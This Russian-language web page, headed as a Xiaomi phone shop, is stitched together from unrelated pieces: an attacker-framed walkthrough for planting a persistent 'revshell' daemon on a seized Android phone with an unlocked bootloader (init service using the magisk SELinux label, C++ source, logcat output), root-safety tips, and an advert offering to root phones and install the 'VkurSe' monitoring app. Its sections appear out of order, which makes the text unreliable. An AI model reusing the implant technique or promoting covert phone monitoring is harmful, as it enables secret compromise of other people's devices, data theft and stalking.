Смартфоны Xiaomi дешево в Москве | Смартфоны по низким ценам

Что такое root?

Всё довольно просто. В смартфоне не все программы равны. Обычным приложениям, которые вы запускаете ярлыками, разрешается выводить что-то на экран, передавать данные, с разрешения пользователя обращаться к камере, микрофону и телефонной книге. У них есть своя маленькая песочница в памяти, из которой они не имеют права вылезать.

Но в системе Android есть учётная запись под названием root, и вот у неё — неограниченные права. Программа, запущенная от имени этой учётной записи, может вообще всё — в том числе подменять системные файлы, перехватывать данные, обманывать другие приложения.

Вступление

Сразу в начале оговорюсь, что все упомянутые опасности будут касаться наших устройств только если у злоумышленника есть физический доступ к девайсу. Поэтому можно просуммировать необходимые начальные условия:

• Физический доступ к смартфону. Нескольких минут будет достаточно.

• Загрузчик на смартфоне уже находится в разблокированном состоянии. Это главное условие. Оно в 95% случаев справедливо для устройств, на которых получены root-права или установлены сторонние сборки ОС, на что и намекает название статьи, но вполне возможно что пользователь по каким-то странным причинам решил разблокировать загрузчик и без этого. Нам не принципиально, загрузчик разблокирован – можно атаковать, версия android не имеет значения, наличие или отсутствие рута также не имеет значения. Именно о возможностях, которые даёт атакующему с физическим доступом разблокированный загрузчик, и будет вся суть статьи.

• Для устройства существует возможность организовать sideload. Например, для устройства есть TWRP или иной образ recovery дающий возможность перевести устройство в режим sideload. Для большинства популярных устройств, поддерживающих разблокировку загрузчика, существуют готовые образы TWRP.

Если задуматься, то ситуация с физическим доступом к смартфону не такая уж и невероятная. Например, последние годы набирает тенденция проверки мобильных устройств пограничниками при въезде в страну. Количество подобных проверок увеличивается в разы с каждым годом и вскоре может стать повсеместно распространённой практикой.

С одной стороны это вопиющий произвол, нарушение законов и вторжение в частную жизнь, с другой стороны, законы большинства стран в этом моменте очень скользкие, плюс, например, на границе вы ещё не попали на территорию страны, поэтому и законы защищающие вашу частную жизнь ещё могут не действовать.

В общем, “отжать мобилу” у вас смогут в подавляющем большинстве случаев. В журнале Хакер есть отличная статья обозревающая эту проблему. Если по каким-либо причинам вас задержит полиция, то все ваши электронные устройства также будут изъяты и, как и на границе, могут быть незаметно для вас пробэкдорены.

«минусы» root прав на android

На телефоне Android с Root правами:

• обнуляется гарантия, которую вам давали при покупке телефона;
• при неграмотных действиях телефон превращается в кирпич;
• нет возможности официального обновления прошивки (системы аппарата) через Интернет;
• есть возможность отключить защиту от установки вредоносного ПО.

Как мы понимаем, последние два «минуса» — это скорее «плюсы» для наших пользователей.

Selinux

Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством.

Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.

Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис.

Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает “выше” DAC и может запретить любое действие, которое DAC разрешил.

Вот отличный пример в android с самим файлом, содержащим политики SELinux:

$ ls -laZ /sys/fs/selinux/policy                                                                                             
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy                                                                                                  
cat: /sys/fs/selinux/policy: Permission denied

На нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.

SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te  в исходниках android, можно посмотреть примеры вот тут.

Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ. 

Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст.

Политики SELinux специально строятся по принципу “запрещено всё что не разрешено”, и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать.

SELinux может работает в трёх режимах:

В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна.

В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик.

Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?

Безопасное использование смартфона с root-доступом

Дочитав до этого момента, вы могли подумать, что мы считаем root-доступ в смартфонах однозначным злом. Это, конечно же, не так: права суперпользователя открывают огромное число возможностей любителям сторонних прошивок, экспериментов, да и просто тем, кто хочет получить полный контроль над своим гаджетом.

И если вы впервые решили получить root-права, мы не будем вас от этого отговаривать. Но вы должны быть готовы к возможным последствиям, в том числе — отказу работы некоторых программ и повышению уязвимости системы. Звучит тревожно, но, если соблюдать ряд несложных правил, вы едва ли столкнётесь с неприятностями.

Используйте проверенные способы получения root-прав. Не поддавайтесь на увещевания разработчиков китайских универсальных программ о возможности получить права суперпользователя в два клика. Намного лучше будет найти на нашем форуме тему, посвящённую прошивке вашего устройства и выполнить несложную инструкцию.

Используйте надёжные менеджеры root-доступа. При выборе отдайте предпочтение программам, не вызывающим никаких сомнений в их благонадёжности. Это может быть SuperSU версии не старше 2.80, либо новый проект Magisk с открытым исходным кодом.

Устанавливайте приложения из надёжных источников. Старайтесь устанавливать программы только из Google Play, но при этом помните, что и в официальном магазине Google можно натолкнуться на вредоносное ПО. Если нужной программы нет в Google Play, загружайте её с официального сайта разработчика или нашего форума — так шансы встретить зловред сводятся к нулю.

Используйте антивирус. Если вы пользуетесь ограниченным набором программ и устанавливаете их из одних и тех же источников, антивирус вам, наверное, ни к чему. Но если вы любите устанавливать на свой гаджет десятки разных программ или кликать по рекламе с предложениями «обновить свою батарею», то дополнительная защита в виде проверенного антивируса от крупного разработчика лишней не будет.

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell
    disabled
    seclabel u:r:magisk:s0
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

#pragma once

#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>

#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,    LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN,     LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,     LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,    LOG_TAG, __VA_ARGS__)

#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"

revshell.hpp

#include "revshell.hpp"

bool check_fs_decrypted() {
    bool result = false;
    struct dirent *entry;
    DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR);
    if (dir == NULL) {
        return result;
    }
    while ((entry = readdir(dir)) != NULL) {
        if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) {
            result = true;
        }
    }
    closedir(dir);
    return result;
}

int run_in_main_proc() {
    LOGD("Start successfull!n");

    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGQUIT, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGKILL, SIG_IGN);

    LOGD("Signals are set to ignoren");

    int timer_counter = 0;
    int timer_step = 5;

    LOGD("Hey I'm a revshell process!n");
    LOGD("My PID -- %dn", getpid());
    LOGD("My parent PID -- %dn", getppid());
    LOGD("My UID -- %dn", getuid());
    LOGD("Awaiting encrypted FS decryption now...");

    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter   timer_step) % INT_MAX;
        if (check_fs_decrypted()) {
            LOGD("FS has been decrypted!");
            break;
        }
    }

    LOGD("Starting reverse shell now");
    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter   timer_step) % INT_MAX;
        LOGD("tick ! %d seconds since process started", timer_counter);
    }

    LOGD("Exit!n");

    return 0;
}

int main(int argc, char *argv[]) {
    return run_in_main_proc();
}

revshel.cpp

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку “android”, которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

$ adb logcat | grep revshell

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

01-31 23:42:07.587  3589  3589 D revshell: Start successfull!
01-31 23:42:07.588  3589  3589 D revshell: Signals are set to ignore
01-31 23:42:07.588  3589  3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588  3589  3589 D revshell: My PID -- 3589
01-31 23:42:07.588  3589  3589 D revshell: My parent PID -- 1
01-31 23:42:07.588  3589  3589 D revshell: My UID -- 0
01-31 23:42:07.588  3589  3589 D revshell: Awaiting encrypted FS decryption now...

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597  3589  3589 D revshell: FS has been decrypted!
01-31 23:42:27.597  3589  3589 D revshell: Starting reverse shell now
01-31 23:42:32.597  3589  3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598  3589  3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599  3589  3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600  3589  3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

$ adb shell
$ ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          3589     1 0 23:42:06 ?     00:00:00 revshell
u:r:shell:s0                   shell         5546  5495 1 23:48:21 pts/0 00:00:00 grep revshell

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

$ su
# kill -9 3589
# ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          5592     1 0 23:51:34 ?     00:00:00 revshell
u:r:magisk:s0                  root          5601  5573 5 23:52:08 pts/1 00:00:00 grep revshell

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Как защититься?

Самый простой подход, для которого даже не нужно ничего предпринимать – отказаться от использования root-прав и альтернативных прошивок. Это спорный совет для тех кто пользуется альтернативными сборками для прокачки приватности своего устройства. Это моё личное мнение, но я считаю, что нынешний стоковый android очень даже неплох.

Я долгое время интересуюсь модификациями системы, направленными на усиление приватности и безопасности, и должен отметить, что в последних трёх версиях ОС была проделана впечатляющая работа по сокращению возможностей для сбора информации с устройства.

Разумеется, от некоторых вещей в android Google ни за что не откажется, и на стоковой прошивке никогда не отделаться от рекламного идентификатора, но тем не менее большую часть bloatware можно безболезненно отключить. Плюс, у пользователя android всё ещё есть свобода самостоятельно решать какими именно приложениями он будет пользоваться и откуда их устанавливать.

Не обязательно полагаться на google play, можно использовать альтернативные репозитории, например F-Droid. Не обязательно завязываться на экосистему Google. Можно в качестве альтернативы использовать NextCloud на собственном сервере. В общем, при правильном подходе можно заменить в стоковой системе практически всё и получить устройство, которое будет практически так же хорошо как и на альтернативной прошивке, при этом иметь заблокированный загрузчик и все плюсы использования немодифицированного устройства, такие как работающий Google Pay и платежи касанием по NFC, беспроблемно работающие приложения банков и иные полагающиеся на проверки SafetyNet, нормально работающая камера и т.д.

Как установить root-права на android?

Как устроено шифрование хранилища

Для начала разберёмся как устроено шифрование хранилища, потому что это самое труднопреодолимое препятствие для изъятия данных. Шифрование применяется на уровне файловой системы. Существует два основных подхода к организации шифрования:

• FDE – full-device-encryption – полнодисковое шифрование. Это значит что всё устройство хранения зашифровано, и даже загрузка операционной системы невозможна до его расшифровки. Поэтому в этом случае владельцу устройства для работы с ним сначала, ещё до загрузки операционной системы, необходимо ввести ключ с помощью которого хранилище будет расшифровано и только потом произойдёт загрузка системы. Такой подход требовал “двойной” загрузки системы, сначала в минимальном варианте для показа формы ввода пароля, а потом в полноценном, после расшифровки хранилища. Он применялся на некоторых устройствах с версиями android 5-7, однако на современной версии ОС и современных устройствах не используется

• FBE – file-based-encryption – шифрование отдельных частей файловой системы. Применительно к android зашифрованы только те части системы, где хранятся данные пользователя. Незашифрованным остаются ядро, системный раздел, и т.д. Строго говоря, проще перечислить то, что зашифровано, а зашифрованы только /data/data и /data/media. Все остальные части системы остаются незашифрованными. Это позволяет операционной системе успешно загружаться до экрана авторизации пользователя, стартовать системные сервисы и accessibility сервисы, принимать SMS. Начиная с android 7 и переходом на FBE появилось Directboot API, которое даёт приложениям возможность запускаться и в ограниченном режиме работать до ввода кода разблокировки и расшифровки файловой системы. FBE позволяет сочетать высокие стандарты защиты данных в хранилище и отличный пользовательский опыт. Пользователь не отвлекается на ввод дополнительного пароля до запуска системы, система не тратит ресурсы на шифрование и расшифровку частей файловой системы где не содержится личных данных владельца. Это современный подход, который используется на современных устройствах и является обязательным для всех новых устройств, начиная с android 9.

Миф: наличие root-прав не влияет на безопасность

Современные Android-смартфоны, особенно гаджеты крупных производителей, практически невозможно взломать «изнутри». Каждое пользовательское приложение Android работает в изолированной «песочнице» и не имеет доступа к другим процессам, а любые мало-мальски важные действия пользователь должен подтверждать самостоятельно.

Конечно, способы получить root-доступ «изнутри» иногда обнаруживаются, но, судя по редким сообщениям в СМИ, серьёзного влияния на безопасность операционной системы не оказывают. Именно поэтому подавляющее большинство вредоносного ПО рассчитывает не на уязвимости, а на невнимательность пользователя, пытаясь обманом получить права на использование платных услуг, перевод гаджета в режим киоска (из которого никак не выйти и нельзя ничего запустить) или даже статус администратора устройства.

Но существуют устройства, которые продаются с уже разблокированным загрузчиком, либо предлагают получить root-доступ парой кликов в настройках гаджета. Такую щедрость предлагают многие китайские производители и с подобными аппаратами стоит быть особенно осторожным.

Если вы решите расширить свои системные полномочия, проблемы могут начаться уже на этапе получения прав суперпользователя. Всё разнообразие методов получения root-доступа можно условно поделить на две категории. Первая — использование ещё не закрытых уязвимостей Android.

Такие программы, как KingRoot или Kingo Root во время работы обращаются к серверам, хранящим огромные коллекции эксплоитов, и ищут те, которые подойдут для конкретного устройства. Стоит ли говорить, что работа таких программ нередко приводит к печальным последствиям?

Кроме того, такие приложения имеют закрытый исходный код, а, значит, у вас нет никакой возможности узнать, что именно они делают с вашим устройством. А делать они могут всё, что угодно, начиная от пересылки данных из внутренней памяти устройства на китайские сервера и заканчивая установкой на гаджет Adware, избавиться от которого можно только специализированными инструментами.

Мы можем помочь вам в рутирование телефона

Вариант 1. Вы можете купить у нас уже готовый рутированный телефон с установленным приложением VkurSe.

Вариант 2. Вы можете подъехать со своим телефоном к нашим специалистам, они рутируют телефон и установят наше приложение VkurSe.

Вариант 3. Переслать по почте свой телефон, мы его рутируем, установим приложение VkurSe и отправим обратно.

Внимание!Сроки рутирования обговариваются индивидуально, так как они очень сильно разнятся исходя от фирмы телефона и версии Андроида на нем.

Например, на последних моделях Samsung, чтобы появилась надпись разблокировка OEM от производителя (она нужна для рут прав) – надо или откатывать дату назад на неделю и ждать сутки после этого, или ждать 7 дней для разблокировки.

Если вы уверены в своих знаниях – рутируйте телефон самостоятельно и пользуйтесь полным функционалом нашего приложения VkurSe. Если вы не уверены, тогда обращайтесь к нашим специалистам.

Все вопросы можете задать онлайн консультантам на сайте VkurSe.

Никакой оплаты со смартфона, никаких лицензионных фильмов

Уже скоро расплачиваться на кассе супермаркета можно будет не только при помощи Айфона или нового Samsung Galaxy. Google пока помалкивает, но сам готовит Android Pay для очень многих моделей с поддержкой NFC. Разумеется, кроме смартфонов, в которых владельцы добыли root-права.

Не то, чтобы эта была какая-то намеренная подлость или месть за блокировку рекламы/удаление бесполезных предустановленных приложений со стороны Google — просто никто не хочет отвечать головой (и, тем более, кошельком по судебным искам) в случаях, когда прошивка смартфона открывается нараспашку любым приложениям по одному нажатию клавиши.

И банков-партнёров Google не волнует, сколько раз вы устанавливали Cyanogen/TWRP и насколько правильно конфигурировали SuperSU — они знают, что перехватить данные в процессе оплаты можно настолько же легко, как молодёжь «взламывает на деньги» мобильные игры.

По этой причине фирменные банковские приложения отказываются работать на смартфонах с root-доступом или даже просто кастомной прошивкой (никого не волнует, что у вас не было другого выхода, кроме как заменить стандартный Android 4.1 на самосборный 5.0).

Постановка задачи

Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE.

Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована.

На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.

Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей.

Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход “least privilege” – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.

Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно.

Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP – full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.

Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает. 

Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.